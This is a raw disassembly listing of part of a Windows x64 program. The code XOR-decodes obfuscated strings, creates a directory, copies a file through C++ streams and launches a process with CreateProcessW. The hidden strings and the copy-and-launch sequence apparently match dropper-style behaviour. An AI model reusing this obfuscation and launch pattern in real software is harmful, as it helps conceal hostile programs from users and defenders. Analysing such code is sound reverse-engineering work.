mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movdqa xmm0, xmmword [0x14006ad70]
mov dword [rbp + 0x260], 0x7d406148
mov dword [rbp + 0x264], 0xc3852e1
mov dword [rbp + 0x268], 0x674c7558
mov word [rbp + 0x26c], 0x1fc
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x28b0
mov eax, dword [rcx + rdi]
mov ebx, 0x28d0
test al, 1
jne 0x14001855a
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x26d]
cmp rcx, rdx
ja 0x140018529
lea rdx, [rbp + 0x250]
cmp rax, rdx
jb 0x140018529
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
jmp 0x14001854d
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003acd0]
call fcn.14001daf8
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1e], 0
je 0x1400185df
xor byte [rdx], 0x2d
xor byte [rdx + 1], 7
xor byte [rdx + 2], 0x25
xor byte [rdx + 3], 0x13
xor byte [rdx + 4], 0x85
xor byte [rdx + 5], 1
xor byte [rdx + 6], 0x5d
xor byte [rdx + 7], 0x6f
xor byte [rdx + 8], 0x2d
xor byte [rdx + 9], 7
xor byte [rdx + 0xa], 0x25
xor byte [rdx + 0xb], 0x13
xor byte [rdx + 0xc], 0x85
xor byte [rdx + 0xd], 1
xor byte [rdx + 0xe], 0x5d
xor byte [rdx + 0xf], 0x6f
xor byte [rdx + 0x10], 0x2d
xor byte [rdx + 0x11], 7
xor byte [rdx + 0x12], 0x25
xor byte [rdx + 0x13], 0x13
xor byte [rdx + 0x14], 0x85
xor byte [rdx + 0x15], 1
xor byte [rdx + 0x16], 0x5d
xor byte [rdx + 0x17], 0x6f
xor byte [rdx + 0x18], 0x2d
xor byte [rdx + 0x19], 7
xor byte [rdx + 0x1a], 0x25
xor byte [rdx + 0x1b], 0x13
xor byte [rdx + 0x1c], 0x85
xor byte [rdx + 0x1d], 1
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], r13
mov qword [rbp + 0x288], r13
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x140018601
lea rcx, [rbp + 0x270]
call fcn.140002e60
nop
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova r8, qword [rbp + 0x270]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov r14d, 2
mov eax, r14d
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14001db90
mov rdi, rax
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova r8, qword [rbp + 0x270]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400186ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call fcn.14001d9e0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x50]
call fcn.1400395b0
lea rdx, [rbp + 0x370]
cmp qword [rbp + 0x388], 0xf
cmova rdx, qword [rbp + 0x370]
lea rcx, [rbp - 0x50]
call fcn.14001a640
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0xc0]
call fcn.1400395b0
mov r8d, 0x20
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0xc0]
call fcn.14001a040
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x40], 6
jne 0x14001876d
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xd0], 6
jne 0x14001876d
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xc0]
call fcn.14001a210
lea rcx, [rbp - 0x40]
call fcn.14001aac0
test rax, rax
jne 0x1400187a5
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx - 8], 0
cmovne eax, r14d
or eax, dword [rbp + rcx - 0x40]
and eax, 0x17
mov dword [rbp + rcx - 0x40], eax
and eax, dword [rbp + rcx - 0x3c]
jne 0x140018c02
lea rcx, [rbp + 0xc8]
call fcn.14001aac0
test rax, rax
jne 0x1400187f0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x108], 0
cmovne r15d, r14d
or r15d, dword [rbp + rcx + 0xd0]
and r15d, 0x17
mov dword [rbp + rcx + 0xd0], r15d
and r15d, dword [rbp + rcx + 0xd4]
jne 0x140018c54
call fcn.140019130
mov r9, rax
cmp byte [rax + 0x88], 0
je 0x14001885f
lea rdx, [rax + 1]
mov r8, rsi
sub r8, rax
movabs r10, 0xedc1e78fafbbe305
nop word [rax + rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x88
jb 0x140018820
mov byte [r9 + 0x88], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
mov r8, rsi
inc r8
cmp byte [r9 + r8], 0
jne 0x140018872
mov rdx, r9
lea rcx, [rsp + 0x78]
call fcn.140002e60
nop
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x2b0]
call fcn.14001afc0
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400188df
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400188da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018caa
call fcn.14001d9e0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rcx, qword [rbp + 0x2c0]
inc rcx
mov rax, r14
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.14001db90
mov rbx, rax
lea r8, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0xf
cmova r8, qword [rbp + 0x2b0]
mov ecx, dword [rbp + 0x2c0]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001d9e0
nop
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0xf
jbe 0x140018a3e
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018a39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018cb0
call fcn.14001d9e0
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], 0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rbx
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xc8]
call fcn.140019f90
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], r14
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xbc], edx
lea rsi, vtable.std::ios_base.0
mov qword [rbp + 0x168], rsi
lea rcx, [rbp + 0x168]
call fcn.14001cf5c
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x40]
call fcn.140019f90
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x54], edx
mov qword [rbp + 0x60], rsi
lea rcx, [rbp + 0x60]
call fcn.14001cf5c
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x140018041
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018b78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018cb6
call fcn.14001d9e0
jmp 0x140018041
call fcn.1400254cc
nop
test al, 4
je 0x140018b95
lea rbx, str.ios_base::badbit_set
jmp 0x140018ba9
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x2b0]
call fcn.140001d20
lea rdx, [0x140072488]
lea rcx, [rbp + 0x2b0]
call fcn.14001f97c
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
test al, 4
je 0x140018c0f
lea rbx, str.ios_base::badbit_set
jmp 0x140018c23
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140072488]
lea rcx, [rsp + 0x50]
call fcn.14001f97c
int3
test r15b, 4
je 0x140018c63
lea rbx, str.ios_base::badbit_set
jmp 0x140018c79
test r15b, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140072488]
lea rcx, [rsp + 0x50]
call fcn.14001f97c
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
call fcn.1400254cc
nop
call fcn.1400254cc
int3